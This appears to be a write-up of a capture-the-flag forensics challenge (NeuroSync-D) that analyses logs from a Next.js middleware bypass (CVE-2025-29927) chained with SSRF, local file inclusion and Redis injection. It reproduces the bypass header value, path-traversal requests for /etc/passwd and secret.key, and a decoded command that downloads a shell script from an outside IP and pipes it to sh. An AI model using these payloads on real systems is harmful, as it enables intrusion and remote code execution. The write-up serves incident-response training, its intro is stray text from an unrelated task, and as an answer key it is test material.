

神經同步-D

您的安全團隊必須隨時掌握最新動態，並了解您所在產業中針對組織的威脅。當您以威脅情報實習生的身份開啟您的職業生涯時，您已經具備了一些安全營運中心 (SOC) 經驗，您的經理會給您分配一項任務，以測試您的研究技能以及您如何有效地利用 MITRE ATT&CK 框架。* 對 Volt Typhoon 進行深入研究。* 使用 MITRE ATT&CK 框架將攻擊者的行為和策略轉化為實際的洞察。用您的評估打動您的經理，展現您對威脅情報的熱情。

關於 NeuroSync-D

在這個挑戰/Sherlock 對中，您需要結合您的進攻和防禦技能來模擬威脅行為者在 Web 伺服器上的攻擊鏈以檢索標誌，然後分析來自應用程式堆疊的日誌以調查和了解 CVE-2025-29927 是如何被利用的。

有這些資料LOG

`access.log`：紀錄進入 Web 伺服器的 HTTP 請求，例如 IP 位址、請求路徑、時間戳記與回應碼等。

`bci-device.log`：可能是腦機介面裝置的相關日誌，包含裝置狀態、錯誤訊息或資料傳輸等記錄。

`data-api.log`：可能是與資料 API 互動的日誌，內容可能包含請求與回應的詳細資料、錯誤與效能指標。

`interface.log`：可能記錄與使用者介面的互動，例如使用者輸入、操作事件或 GUI/Web 介面錯誤等。

`redis.log`：來自 Redis 資料庫的日誌，包含系統事件、指令、錯誤訊息，以及 Redis 執行過程中的其他活動。

Task 1

What version of Next.js is the application using?

```
# grep -ni "Next.js" *.log
interface.log:5: ▲ Next.js 15.1.0
interface.log:14:Attention: Next.js now collects completely anonymous telemetry regarding usage.
interface.log:15:This information is used to shape Next.js' roadmap and prioritize features.

(root@kali)-[/home/kali/Desktop/NeuroSync]
# cat interface.log

> neurosync@0.1.0 dev
> next dev

▲ Next.js 15.1.0
- Local:      http://localhost:3000
- Network:    http://172.17.0.2:3000
- Experiments (use with caution):
  · webpackBuildWorker
  · parallelServerCompiles
  · parallelServerBuildTraces
```

```
2025-04-11T17:58.163Z - 10.129.231.211 GET http://localhost:3000/api/calls/analytics [{"accept":"*//*","accept-encoding":["gzip, deflate, br"],"connection":"close","host":"10.129.231.215","user-agent":"Mozilla/5.0 (Windows N...; rv=) Gecko/20100101 Firefox/45.0"}] ["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware-l..."]
```

```
2025-04-11T17:59.699Z - 10.129.231.211 GET http://localhost:3000/api/calls/analytics [{"accept":"*//*","accept-encoding":["gzip, deflate, br"],"connection":"close","host":"10.129.231.215","user-agent":"Mozilla/5.0 (Windows N...; rv=) Gecko/20100101 Firefox/45.0"}] ["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware-l..."]
```

```
2025-04-11T18:01.280Z - 10.129.231.211 GET http://localhost:3000/api/calls/analytics [{"accept":"*//*","accept-encoding":["gzip, deflate, br"],"connection":"close","host":"10.129.231.215","user-agent":"Mozilla/5.0 (Windows N...; rv=) Gecko/20100101 Firefox/45.0"}] ["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware-l..."]
```

```
2025-04-11T18:02.486Z - 10.129.231.211 GET http://localhost:3000/api/calls/analytics [{"accept":"*//*","accept-encoding":["gzip, deflate, br"],"connection":"close","host":"10.129.231.215","user-agent":"Mozilla/5.0 (Windows N...; rv=) Gecko/20100101 Firefox/45.0"}] ["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware-l..."]
```

```
2025-04-11T18:04.131Z - 10.129.231.211 GET http://localhost:3000/api/calls/analytics [{"accept":"*//*","accept-encoding":["gzip, deflate, br"],"connection":"close","host":"10.129.231.215","user-agent":"Mozilla/5.0 (Windows N...; rv=) Gecko/20100101 Firefox/45.0"}] ["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware-l..."]
```

5

Task 7

When is a successful response received from the vulnerable endpoint, meaning that the middleware has been bypassed?

```
2025-04-01T11:37:58.163Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [{"accept":"*/*"}, {"accept-encoding":"gzip, deflate, br"}, {"connection":"close"}, {"host":"10.129.231.215"}, {"user-agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}, {"x-forwarded-for":"10.129.231.211"}, {"x-forwarded-host":"10.129.231.215"}, {"x-forwarded-port":"3000"}, {"x-forwarded-proto":"http"}, {"x-real-ip":"10.129.231.211"}]
2025-04-01T11:37:59.699Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [{"accept":"*/*"}, {"accept-encoding":"gzip, deflate, br"}, {"connection":"close"}, {"host":"10.129.231.215"}, {"user-agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}, {"x-forwarded-for":"10.129.231.211"}, {"x-forwarded-host":"10.129.231.215"}, {"x-forwarded-port":"3000"}, {"x-forwarded-proto":"http"}, {"x-middleware-subrequest":"middleware"}, {"x-real-ip":"10.129.231.211"}]
2025-04-01T11:38:01.280Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [{"accept":"*/*"}, {"accept-encoding":"gzip, deflate, br"}, {"connection":"close"}, {"host":"10.129.231.215"}, {"user-agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}, {"x-forwarded-for":"10.129.231.211"}, {"x-forwarded-host":"10.129.231.215"}, {"x-forwarded-port":"3000"}, {"x-forwarded-proto":"http"}, {"x-middleware-subrequest":"middleware"}, {"x-real-ip":"10.129.231.211"}]
2025-04-01T11:38:02.486Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [{"accept":"*/*"}, {"accept-encoding":"gzip, deflate, br"}, {"connection":"close"}, {"host":"10.129.231.215"}, {"user-agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}, {"x-forwarded-for":"10.129.231.211"}, {"x-forwarded-host":"10.129.231.215"}, {"x-forwarded-port":"3000"}, {"x-forwarded-proto":"http"}, {"x-middleware-subrequest":"middleware"}, {"x-real-ip":"10.129.231.211"}]
2025-04-01T11:38:04.111Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [{"accept":"*/*"}, {"accept-encoding":"gzip, deflate, br"}, {"connection":"close"}, {"host":"10.129.231.215"}, {"user-agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}, {"x-forwarded-for":"10.129.231.211"}, {"x-forwarded-host":"10.129.231.215"}, {"x-forwarded-port":"3000"}, {"x-forwarded-proto":"http"}, {"x-middleware-subrequest":"middleware"}, {"x-real-ip":"10.129.231.211"}]
v Compiled /api/bci/analytics in 250ms (606 modules)
GET /api/bci/analytics 200 in 412ms
PUT /api/bci/analytics 200 in 17ms
```

2025-04-01 11:38:05

Task 8

Given the previous failed requests, what will most likely be the final value for the vulnerable header used to exploit the vulnerability and bypass the middleware?

← → ↻ jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/

🔍 渗透 漏洞利用参考 反弹参考 Github 解碼 鑑識認證工具 AI 72 Discord 恆益課程 找工

jfrog 2025 swampUP THE #1 EVENT FOR DEVOPS, DEVSECOPS, AND MLO

由於我們的 PoC 是在這個版本上，因此這是我們使用的請求的片段：

```
GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:middleware
```

x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware:middleware

Task 9

The attacker chained the vulnerability with an SSRF attack, which allowed them to perform an internal port scan and discover an internal API. On which port is the API accessible?

```
# cat data-api.log
> data-api@1.0.0 start
> node .

2025-04-01 11:35:09 [VERBOSE] External analytics server is running on port 4000
2025-04-01 11:35:09 [VERBOSE] Starting commands migration...
2025-04-01 11:35:09 [VERBOSE] Pushing command: MOVE_UP with payload:
2025-04-01 11:35:09 [VERBOSE] Command MOVE UP pushed successfully.
```

4000

Task 10

After the port scan, the attacker starts a brute-force attack to find some vulnerable endpoints in the previously identified API. Which vulnerable endpoint was found?

```
2025-04-01 11:39:01 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../../../../../../../../etc/passwd from ::ffff:127.0.0.1
2025-04-01 11:39:01 [VERBOSE] Request headers: {"host":"127.0.0.1:4000" "user-agent":"curl/7.88.1" "accept":"*/*"}
/logs
```

Task 11

When the vulnerable endpoint found was used maliciously for the first time?

```
2025-04-01 11:39:01
```

Task 12

What is the attack name the endpoint is vulnerable to?

```
Local File Inclusion
```

Task 13

What is the name of the file that was targeted the last time the vulnerable endpoint was exploited?

```
2025-04-01 11:39:24 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../../../../../../../../tmp/secret.key from ::ffff:127.0.0.1
2025-04-01 11:39:24 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*//*"}
2025-04-01 11:39:24 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1
```

```
secret.key
```

Task 14

Finally, the attacker uses the sensitive information obtained earlier to create a special command that allows them to perform Redis injection and gain RCE on the system. What is the command string?

```
redis.log
```

```
1743507558.556141 [0 127.0.0.1:45958] "PING"
1743507561.220381 [0 127.0.0.1:45972] "KEYS" "*"
1743507562.237012 [0 127.0.0.1:45982] "SET" "test" "test"
1743507566.415465 [0 127.0.0.1:34502] "RPUSH" "bci_commands" "OS_EXEC|d2d1dCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb"
```

```
OS_EXEC|d2d1dCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb
```

Task 15

Once decoded, what is the command?

```
wget http://185.202.2.147/h4Pln4/run.sh -O- | sh
```